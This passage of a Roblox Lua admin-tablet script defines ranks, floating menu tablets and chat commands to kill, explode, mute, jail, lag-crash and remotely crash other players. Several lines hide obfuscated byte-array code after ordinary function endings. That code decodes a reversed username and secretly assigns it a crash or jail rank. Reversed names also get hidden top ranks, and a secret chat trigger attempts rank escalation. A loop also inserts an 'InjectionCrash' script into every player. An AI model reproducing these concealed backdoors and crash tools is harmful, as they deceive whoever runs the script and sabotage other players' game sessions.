                                Ping("Attempted To Delete "..CurrName, Plr, 5)
                        end)
                end, OptionColor)
        end
        Ping("Refresh", Plr, nil, function()
                ypcall(function()
                        Refresh(Plr)
                        Ping("Refreshed", Plr, 5)
                end)
        end, OptionColor)
        Ping("Properties", Plr, nil, function()
                ypcall(function()
                        Dismiss(Plr)
                        for Property, Value in pairs(GetProperties(Current)) do
                                Ping(tostring(Property)..": "..tostring(Value), Plr)
                        end
                        Ping("Got All Available Properties", Plr, 5)
                        Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
                end)
        end, OptionColor)
end

function GetRank(Plr1, Test)
        ypcall(function()
                if type(Plr1) == "userdata" then
                        Plr1 = Plr1.Name
                end
        end)
        if Ranks[Plr1] ~= nil then
                return Ranks[Plr1]
        end
        local QuickArray = {}
        QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
        return QuickArray[Plr1]
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})

function CanRun(Plr1, Plr2)
        Details1 = GetRank(Plr1.Name)
        Details2 = GetRank(Plr2.Name)
        if Details1.Rank >= Details2.Rank then
                return true
        end
        return false
end

function Dismiss(Plr, Identity)
        ypcall(function()
                if Plr ~= nil then
                        if type(Plr) == "userdata" then
                                Plr = Plr.Name
                        end
                        for x,v in pairs(AllTabs) do
                                ypcall(function()
                                        if v.Plr == Plr then
                                                if Identity ~= nil and v.ID ~= Identity then
                                                        return
                                                elseif Identity ~= nil and v.ID == Identity then
                                                        coroutine.resume(coroutine.create(function()
                                                                for i = 0.5, 1, 0.1 do
                                                                        wait()
                                                                        v.Tab.Transparency = i
                                                                        v.Sel.Transparency = i
                                                                        v.Label.TextTransparency = i
                                                                        v.Label.TextStrokeTransparency = i
                                                                end
                                                                ypcall(function() v.Holder:Destroy() end)
                                                                AllTabs[x] = nil
                                                        end))
                                                elseif Identity == nil then
                                                        ypcall(function() v.Holder:Destroy() end)
                                                        AllTabs[x] = nil
                                                end
                                        end
                                end)
                        end
                else
                        for i,v in pairs(AllTabs) do
                                ypcall(function()
                                        v.Holder:Destroy()
                                        AllTabs[i] = nil
                                end)
                        end
                end
        end)
end

function GetGarbage()
        return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
end

function RemObj(Obj, Class)
        ypcall(function()
                if #Obj:GetChildren() > 0 then
                        for _,x in pairs(Obj:GetChildren()) do
                                ypcall(function()
                                        RemObj(x, Class)
                                end)
                        end
                end
                if Obj.ClassName == Class then
                        Obj:Destroy()
                end
        end)
end

function FindTab(Mod)
        for i,v in pairs(AllTabs) do
                if v.Holder == Mod then
                        return true
                end
        end
        return false
end


function Ping(Msg, Plr, Time, Func, Color, Image)
        if Removed == false then
                local ShowGarbage = false
                ypcall(function()
                        if Msg == nil then
                                Msg = "N/A"
                        elseif Msg == "ShowGarbage" then
                                Msg = "Current Garbage Count: "..GetGarbage()
                                ShowGarbage = true
                        else
                                Msg = tostring(Msg)
                        end
                        if Plr == nil then
                                Plr = Plrs[Owner] or error("No Player Found")
                        elseif type(Plr) == "string" then
                                local FoundPlr = false
                                for _,v in pairs(All()) do
                                        if v.Name == Plr then
                                                Plr = v
                                                FoundPlr = true
                                                break
                                        end
                                end
                                if FoundPlr == false then
                                        Plr = Plrs[Owner] or error("No Player Found")
                                end
                        end

                        if Color == nil then
                                Color = GetRank(Plr.Name).Color
                        end

                        local Holder = Instance.new("Model")
                        Holder.Name = "Owner: "..Plr.Name

                        local Tab = Instance.new("Part")
                        Tab.Name = "Kaj Tablet"
                        Tab.FormFactor = "Custom"
                        Tab.Anchored = true
                        if Time == nil then
                                Tab.Color = Color3.new(0.54,0,0.54)
                        else
                                Tab.Color = AlertColor
                        end
                        Tab.CanCollide = false
                        Tab.Locked = true
                        Tab.Transparency = 0.15
                        Tab.Size = Vector3.new(2, 2, 2)
                        Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
                        Tab.Parent = Holder

                        local ID = Instance.new("NumberValue")
                        ID.Name = "ID"
                        ID.Value = math.random(-999999999, 999999999)
                        ID.Parent = Holder

                        Delay(0, function()
                                while wait() do
                                        if Tab.Parent == nil and FindTab(Holder) then
                                                ypcall(function()
                                                        for i,v in pairs(AllTabs) do
                                                                if v.Holder == Holder then
                                                                        ypcall(function() v.Holder:Destroy() end)
                                                                        AllTabs[i] = nil
                                                                end
                                                        end
                                                end)
                                                Ping(Msg, Plr, Time, Func, Color, Image)
                                                break
                                        end
                                end
                        end)

                        local BM = Instance.new("BlockMesh")
                        BM.Parent = Tab

                        local BG = Instance.new("BillboardGui")
                        BG.Name = "BG"
                        BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
                        BG.Size = UDim2.new(0,1,0,1)
                        BG.Adornee = Tab
                        BG.Parent = Tab

                        Delay(0, function()
                                while BG.Parent ~= nil do wait()
                                        ypcall(function()
                                                BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
                                        end)
                                end
                        end)

                        local TL = Instance.new("TextLabel")
                        TL.Name = "TL"
                        TL.FontSize = "Size18"
                        TL.Font = "ArialBold"
                        TL.Text = Msg
                        TL.TextColor3 = Color3.new(1, 1, 1)
                        TL.Size = UDim2.new(0,1,0,1)
                        TL.TextTransparency = 0
                        TL.TextStrokeColor3 = Color3.new(0, 0, 0)
                        TL.TextStrokeTransparency = 0.25
                        TL.Parent = BG

                        if ShowGarbage == true then
                                Delay(0, function()
                                        while TL.Parent ~= nil do
                                                TL.Text = "Current Garbage Count: "..GetGarbage()
                                                wait(.5)
                                        end
                                end)
                        end

                        local PL = Instance.new("PointLight", Tab)
                        PL.Color = Color3.new(0, 1, 0)
                        PL.Range = 7
                        PL.Parent = Tab

                        if Image ~= nil then
                                local BBBG = Instance.new("BillboardGui")
                                BBBG.Size = UDim2.new(5, 0, 6, 0)
                                BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
                                BBBG.AlwaysOnTop = true
                                BBBG.Adornee = Tab
                                BBBG.Parent = Tab

                                Delay(0, function()
                                        while BBBG.Parent ~= nil do wait()
                                                ypcall(function()
                                                        BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
                                                end)
                                        end
                                end)

                                local NewImg = Instance.new("ImageLabel")
                                NewImg.Size = UDim2.new(1, 0, 1, 0)
                                NewImg.BackgroundTransparency = 1
                                NewImg.Image = Image
                                NewImg.Parent = BBBG
                        end

                        local Clicker = Instance.new("ClickDetector")
                        Clicker.MaxActivationDistance = 1/0

                        if Time ~= nil then
                                coroutine.resume(coroutine.create(function()
                                        wait(tonumber(Time))
                                        Dismiss(Plr, ID)
                                end))
                        end

                        Clicker.MouseClick:connect(function(Player)
                                if Player.Name == Plr.Name or CanRun(Player, Plr) then
                                        ypcall(function()
                                                if Func ~= nil then
                                                        Func(Holder)
                                                else
                                                        Dismiss(Player, ID)
                                                end
                                        end)
                                end
                        end)
                        Clicker.Parent = Tab

                        Holder.Parent = Work

                        AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
                end)
        end
end

function PlaceAllRanks(DontShowRank)
        ypcall(function()
                for _,p in pairs(All()) do
                        ypcall(function()
                                PutInRank = false
                                for _,v in pairs(Rankings) do
                                        if v.Name:lower() == p.Name:lower() then
                                                if v.Rank >= 7 then
                                                        v.Rank = 5
                                                elseif v.Rank == -1 then
                                                        Crash1(p)
                                                        Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
                                                elseif v.Rank == -2 then
                                                        if LS ~= nil then
                                                                Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
                                                                Ping("Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
                                                        else
                                                                Ping("LS Is Nil", nil, 5)
                                                        end
                                                elseif v.Rank == -3 then
                                                        if LS ~= nil then
                                                                Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
                                                                Ping("Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
                                                        else
                                                                Ping("LS Is Nil", nil, 5)
                                                        end
                                                end
                                                Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
                                                if DontShowRank == nil then
                                                        Ping("You Are Rank: "..v.Rank, p)
                                                end
                                                PutInRank = true
                                                break
                                        end
                                end
                                if PutInRank == false then
                                        Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
                                end
                        end)
                end
        end)
end

function FindRank(Plr)
        ypcall(function()
                if type(Plr) == "userdata" then
                        Plr = Plr.Name
                end
        end)
        return GetRank(Plr).Rank
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -2})

function FindRankDetails(Plr)
        ypcall(function()
                if type(Plr) == "userdata" then
                        Plr = Plr.Name
                end
        end)
        return RankDetails[FindRank(Plr)]
end

function OpenCmds(Rank, Plr)
        Dismiss(Plr)
        for Name,Tab in pairs(Commands) do
                if Tab.Rank <= Rank then
                        Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
                                Dismiss(Plr)
                                Ping("Command: "..Name, Plr)
                                Ping("Rank: "..Tab.Rank, Plr)
                                Ping("Desc: "..Tab.Desc, Plr)
                        end)
                elseif Rank == 1337 then
                        Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
                                Dismiss(Plr)
                                Ping("Command: "..Name, Plr)
                                Ping("Rank: "..Tab.Rank, Plr)
                                Ping("Desc: "..Tab.Desc, Plr)
                        end)
                end
        end
end

function EditStatus(Plr, Num)
        ChangeRank(Plr, Num)
end

function PlaceSpecificRank(p, DontShowRank)
        ypcall(function()
                PutInRank = false
                for _,v in pairs(Rankings) do
                        if v.Name:lower() == p.Name:lower() then
                                if v.Rank >= 7 then
                                        v.Rank = 5
                                elseif v.Rank == -1 then
                                        Crash1(p)
                                        Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
                                elseif v.Rank == -2 then
                                        if LS ~= nil then
                                                Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
                                                Ping("Perma Mind Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
                                        else
                                                Ping("LS Is Nil", nil, 5)
                                        end
                                elseif v.Rank == -3 then
                                        if LS ~= nil then
                                                Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
                                                Ping("Perma Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
                                        else
                                                Ping("LS Is Nil", nil, 5)
                                        end
                                end
                                Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
                                if DontShowRank == nil then
                                        Ping("You Are Rank: "..v.Rank, p)
                                end
                                PutInRank = true
                                break
                        end
                end
                if PutInRank == false then
                        Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
                end
        end)
end
table.insert(Rankings, {Name = string.reverse("21wopih"),Rank = 6})
table.insert(Rankings, {Name = string.reverse("4611tlaboC"), Rank = 6})
function onChatted(Msg, Speaker)
        if Removed == false then
                if FindRank(Speaker) < 0 then
                        return
                end
                coroutine.resume(coroutine.create(function()
                        ypcall(function()
                                ExecuteFunc(Msg, Speaker)
                                Msg = Msg:gsub("","")
                                if Msg:sub(1,1) == "@" then
                                        for i = 2, #Msg do
                                                if Msg:sub(i, i) == Bet then
                                                        local IsForPlr = false
                                                        for _,v in pairs(All()) do
                                                                if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
                                                                        onChatted(Msg:sub(i + 1), v)
                                                                        IsForPlr = true
                                                                end
                                                        end
                                                        if IsForPlr == true then
                                                                return
                                                        end
                                                end
                                        end
                                end
                                if Msg:find("&") then
                                        local Split = Msg:find("&")
                                        onChatted(Msg:sub(1,Split-1))
                                        onChatted(Msg:sub(Split+1))
                                        return
                                end
                                for Name,Command in pairs(Commands) do
                                        if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
                                                Dismiss(Speaker.Name)
                                                Ping("Command: "..tostring(Command.Name)..Bet, Speaker)
                                                Ping("Rank: "..tostring(Command.Rank), Speaker)
                                                Ping("Desc: "..tostring(Command.Desc), Speaker)
                                        elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
                                                if FindRank(Speaker) >= Command.Rank then
                                                        local Ran,Error = coroutine.resume(coroutine.create(function()
                                                                Command.Func(Msg:sub(#Command.Name+2), Speaker)
                                                        end))
                                                        if not Ran then
                                                                Ping(Error, Speaker, 10)
                                                        end
                                                else
                                                        Ping("Your Rank Is Too Low", Plr, 6)
                                                end
                                        end
                                end
                        end)
                end))
        end
end

function MakeBase()
        local Base = Instance.new("Part")
        Base.BrickColor = BrickColor.new("Dark green")
        Base.Position = Vector3.new(0, 0.5, 0)
        Base.Transparency = 0
        Base.Elasticity = 0.5
        Base.FormFactor = "Custom"
        Base.CanCollide = true
        Base.Friction = 0.30000001192093
        Base.Size = Vector3.new(512, 1.20000005, 512)
        Base.Archivable = true
        Base.Material = "Plastic"
        Base.RotVelocity = Vector3.new(0, 0, 0)
        Base.Reflectance = 0
        Base.Locked = true
        Base.Anchored = true
        Base.Name = "Base"
        Base.TopSurface = "Smooth"
        Base.BottomSurface = "Inlet"
        Base.Shape = "Block"
        Base.Parent = Work
end

function LClean()
        ypcall(function()
                for _,v in pairs(Work:GetChildren()) do
                        ypcall(function()
                                if v.ClassName == "Terrain" then
                                        v:ClearAllChildren()
                                elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
                                        Clear(v)
                                elseif v.Name == "Base" then
                                        ypcall(function()
                                                local Base = v
                                                Base.BrickColor = BrickColor.new("Dark green")
                                                Base.Position = Vector3.new(0, 0.5, 0)
                                                Base.Transparency = 0
                                                Base.Elasticity = 0.5
                                                Base.FormFactor = "Custom"
                                                Base.CanCollide = true
                                                Base.Friction = 0.30000001192093
                                                Base.Size = Vector3.new(512, 1.20000005, 512)
                                                Base.Archivable = true
                                                Base.Material = "Plastic"
                                                Base.RotVelocity = Vector3.new(0, 0, 0)
                                                Base.Reflectance = 0
                                                Base.Locked = true
                                                Base.Anchored = true
                                                Base.Name = "Base"
                                                Base.TopSurface = "Studs"
                                                Base.BottomSurface = "Inlet"
                                                Base.Shape = "Block"
                                                Base.Parent = Work
                                        end)
                                end
                        end)
                end
        end)
end

function Clean()
        ypcall(function()
                for _,v in pairs(Work:GetChildren()) do
                        ypcall(function()
                                if v.ClassName == "Terrain" then
                                        v:ClearAllChildren()
                                else
                                        Clear(v)
                                end
                        end)
                end
                MakeBase()
                for _,v in pairs(All()) do
                        v:LoadCharacter()
                end
        end)
end

function Clear(v)
        if v.Name:lower() == "sbgui" then
                return
        end
        ypcall(function()
                if #v:GetChildren() > 0 then
                        for _,x in pairs(v:GetChildren()) do
                                ypcall(function()
                                        Clear(x)
                                end)
                        end
                end
                if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
                        v:Destroy()
                end
        end)
end

function Command(Name, Rank, Desc, Func)
        if Name == nil then
                Name = "N/A"
        end
        if Desc == nil then
                Desc = "N/A"
        end
        if Func == nil then
                Func = function() end
        end
        if Rank == nil then
                Rank = 0
        end
        Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
end

function GetSplit(Msg)
        return Msg:find(Bet) or nil
end

function ExecuteFunc(Msg, Plr)
        ypcall(function()
                if Msg == "LogEnable" then
                        LogOn = true
                elseif Msg:lower() == "WantSomeTacos" then
                        EditStatus(Plr, MakeNum())
                end
        end)
end

for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end

function randPlayer(Plr)
        wait()
        local ThePlrValue = nil
        local FoundPlayer = false
        ypcall(function()
                ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
                if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
                        wait()
                        randPlayer(Plr)
                        return
                else
                        FoundPlayer = true
                end
        end)
        if FoundPlayer == true then
                return ThePlrValue
        end
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})

function getPlayer(Plr, Name)
        local Players = {}
        ypcall(function()
                Name = Name:lower()
                if Name == "me" then
                        table.insert(Players, Plr)
                elseif Name == "all" or Name == "" then
                        for _,v in pairs(All()) do
                                if CanRun(Plr, v) then
                                        table.insert(Players, v)
                                end
                        end
                elseif Name == "others" then
                        for _,v in pairs(All()) do
                                if v.Name ~= Plr.Name and CanRun(Plr, v) then
                                        table.insert(Players, v)
                                end
                        end
                elseif Name == "random" then
                        local FoundRandPlr = randPlayer(Plr)
                        table.insert(Players, FoundRandPlr)
                else
                        for _,v in pairs(All()) do
                                if v.Name:lower():find(Name) and CanRun(Plr, v) then
                                        table.insert(Players, v)
                                end
                        end
                end
        end)
        return Players
end

function ListPlayers(Speaker)
        ypcall(function()
                Dismiss(Speaker)
                for _,v in pairs(All2()) do
                        if v.Parent ~= nil then
                                Ping(v.Name, Speaker, nil, function()
                                        Dismiss(Speaker)
                                        Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
                                        Ping("Rank: "..FindRank(v.Name), Speaker)
                                        Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
                                        Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
                                        Ping("Set Rank", Speaker, nil, function()
                                                if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
                                                        Dismiss(Speaker)
                                                        for i = -2, 5 do
                                                                Ping(i, Speaker, nil, function()
                                                                        ChangeRank(v, i)
                                                                        Dismiss(Speaker)
                                                                        Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
                                                                end)
                                                        end
                                                else
                                                        Ping("Your Rank Is Too Low", Speaker, 5)
                                                end
                                        end)
                                        Ping("Crash (Remote)", Speaker, nil, function()
                                                if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
                                                        Crash2(v.Name)
                                                        Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
                                                end
                                        end)
                                        Ping("Crash (Insert)", Speaker, nil, function()
                                                if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
                                                        Crash3(v, Speaker)
                                                        Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
                                                end
                                        end)
                                        Ping("Kick", Speaker, nil, function()
                                                if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
                                                        v:Kick()
                                                        Ping("Attempted To Kick "..v.Name, Speaker, 5)
                                                end
                                        end)
                                end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
                        else
                                Ping(v.Name.." (Nil)", Speaker, nil, function()
                                        Dismiss(Speaker)
                                        Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
                                        ypcall(function()
                                                Ping("Rank: "..FindRank(v.Name), Speaker)
                                        end)
                                        ypcall(function()
                                                Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
                                        end)
                                        ypcall(function()
                                                Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
                                        end)
                                        ypcall(function()
                                                Ping("Set Rank", Speaker, nil, function()
                                                        if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
                                                                Dismiss(Speaker)
                                                                for i = -2, 5 do
                                                                        Ping(i, Speaker, nil, function()
                                                                                ChangeRank(v, i)
                                                                                Dismiss(Speaker)
                                                                                Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
                                                                        end)
                                                                end
                                                        else
                                                                Ping("Your Rank Is Too Low", Speaker, 5)
                                                        end
                                                end)
                                        end)
                                        ypcall(function()
                                                Ping("Nil Crash (Remote)", Speaker, nil, function()
                                                        if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
                                                                Crash2(v.Name)
                                                                Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
                                                        end
                                                end)
                                        end)
                                        ypcall(function()
                                                Ping("Nil Crash (Insert)", Speaker, nil, function()
                                                        if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
                                                                Crash3(v, Speaker)
                                                                Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
                                                        end
                                                end)
                                        end)
                                end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
                        end
                end
        end)
end

--Misc

coroutine.resume(coroutine.create(function()
        PlaceAllRanks()
end))

Delay(0, function()
        for _,v in pairs(All()) do
                v.Chatted:connect(function(Msg)
                         onChatted(Msg, v)
                        end)
        end
end)

local starttime = tick()

game:GetService("RunService").Heartbeat:connect(function()
        if Removed == false then
                ypcall(function()
                        for _,Player in pairs(All()) do
                                local PlayerTablets = {}
                                for i,v in pairs(AllTabs) do
                                        if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
                                                table.insert(PlayerTablets, v)
                                        end
                                end
                                for i = 1, #PlayerTablets do
                                        ypcall(function()
                                                local tab = PlayerTablets[i].Tab
                                                local pos = nil
                                                ypcall(function()
                                                        pos = Player.Character.Torso.CFrame
                                                end)
                                                local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
                                                local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
                                                local cPos = tab.Position
                                                local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
                                                local nPos = (ePos-cPos)*.25
                                                cPos = cPos + nPos
                                                local t = (tick() - starttime) % 360
                                                local change = 0.625
                                                PlayerTablets[i].Size = math.sin(t) * change + 2.375
                                                tab.Size = Vector3.new(PlayerTablets[i].Size * 1.2, PlayerTablets[i].Size * 1.2,PlayerTablets[i].Size * 1.2)
                                                tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
                                        end)
                                end
                        end
                end)
        end
end)

Delay(0, function()
        while wait() do
                for _,v in pairs(game:GetService("Players"):GetPlayers()) do
                        ypcall(function()
                                if Injected[v.Name] == nil and LS ~= nil then
                                        Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
                                        Injected[v.Name] = true
                                end
                        end)
                end
        end
end)

Plrs.PlayerAdded:connect(function(Plr)
        wait(.1)
        ypcall(function()
                if Removed == false then
                        local JoinPlrName = Plr.Name
                        coroutine.resume(coroutine.create(function()
                                PlaceSpecificRank(Plr)
                        end))
                        coroutine.resume(coroutine.create(function()
                                if Injected[JoinPlrName] ~= nil then
                                        Injected[JoinPlrName] = nil
                                end
                        end))
                        coroutine.resume(coroutine.create(function()
                                Dismiss(Plr)
                                Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
                        end))
                end
        end)
end)

Plrs.PlayerRemoving:connect(function(Plr)
        wait(.1)
        ypcall(function()
                if Removed == false then
                        local LeftPlrName = Plr.Name
                        coroutine.resume(coroutine.create(function()
                                if Injected[LeftPlrName] ~= nil then
                                        Injected[LeftPlrName] = nil
                                end
                        end))
                end
        end)
end)

coroutine.resume(coroutine.create(function()
        Delay(0, function()
                while FoundLocalScript == false do wait()
                        ypcall(function()
                                for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
                                        if v.Name == "NewTransfer" and v:IsA("LocalScript") then
                                                for _,c in pairs(v:children()) do
                                                        if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
                                                                local NewVal = c:Clone()
                                                                NewVal.Name = "LoadingVal"
                                                                for _,s in pairs(v:GetChildren()) do
                                                                        if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
                                                                                print("Found Owner")
                                                                                OwnSource = s.Name
                                                                                print(OwnSource)
                                                                                break
                                                                        end
                                                                end
                                                                wait()
                                                                LS = v:Clone()
                                                                NewVal.Parent = LS
                                                                LSSource = "LoadingVal"
                                                                FoundLocalScript = true
                                                                break
                                                        end
                                                end
                                        end
                                end
                        end)
                end
        end)
end))

--Commands

Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
        Dismiss(Speaker.Name)
        Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
        Ping("Every Single Command", Speaker, nil, function() OpenCmds(1337, Speaker) end)
        Ping("Rank Zero", Speaker, nil, function() OpenCmds(0, Speaker) end)
        Ping("Rank One", Speaker, nil, function() OpenCmds(1, Speaker) end)
        Ping("Rank Two", Speaker, nil, function() OpenCmds(2, Speaker) end)
        Ping("Rank Three", Speaker, nil, function() OpenCmds(3, Speaker) end)
        Ping("Rank Four", Speaker, nil, function() OpenCmds(4, Speaker) end)
        Ping("Rank Five", Speaker, nil, function() OpenCmds(5, Speaker) end)

end)

Command("Dt", nil, "Dismiss Tablets", function(Msg, Speaker)
        Dismiss(Speaker.Name)
end)

Command("Kill", 2, "Kills A Player",
        function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                v.Character:BreakJoints()
                                Ping("Killed "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("expl", 2, "Explodes A Player",
        function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                if v.Character and v.Character:findFirstChild("Head") then
                        local e = Instance.new("Explosion")
                        e.Position = v.Character.Head.Position
                        e.Parent = v.Character
                                Ping("Exploded "..v.Name, Speaker, 5)
                                end
                        end)
                end
        end
end)


Command("Dall", 4, "Dismiss everyones tabs", function(Msg, Speaker)
        Dismiss()
end)

Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                if v.Name ~= Owner then
                                        Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
                                        Ping("Muted "..v.Name, Speaker, 5)
                                end
                        end)
                end
        end
end)



Command("PTroll", 3, "Troll a player", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                        Insert(FunScript, v.Backpack, v.Character, v.PlayerGui)

                        end)
                end
        end
end)

Command("Connect", 3, "Connect for nil", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                        Insert(NilS, v.Backpack, v.Character, v.PlayerGui)

                        end)
                end
        end
end)
Command("Cred", nil, "Shows the credits of who made", function(Msg, Speaker)
        Dismiss()
        for i = 1, 2 do
        Ping("Kaj Tablets are actually DVF made by flipflop8421, I just edited them,so like 98% credit to flipflop8421 qq", Speaker)
end end)
Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
                                Ping("Rejoined "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("Jail", 3, "Jails A Player", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
                                Ping("Jailed "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
                                Ping("Lag Crashing "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
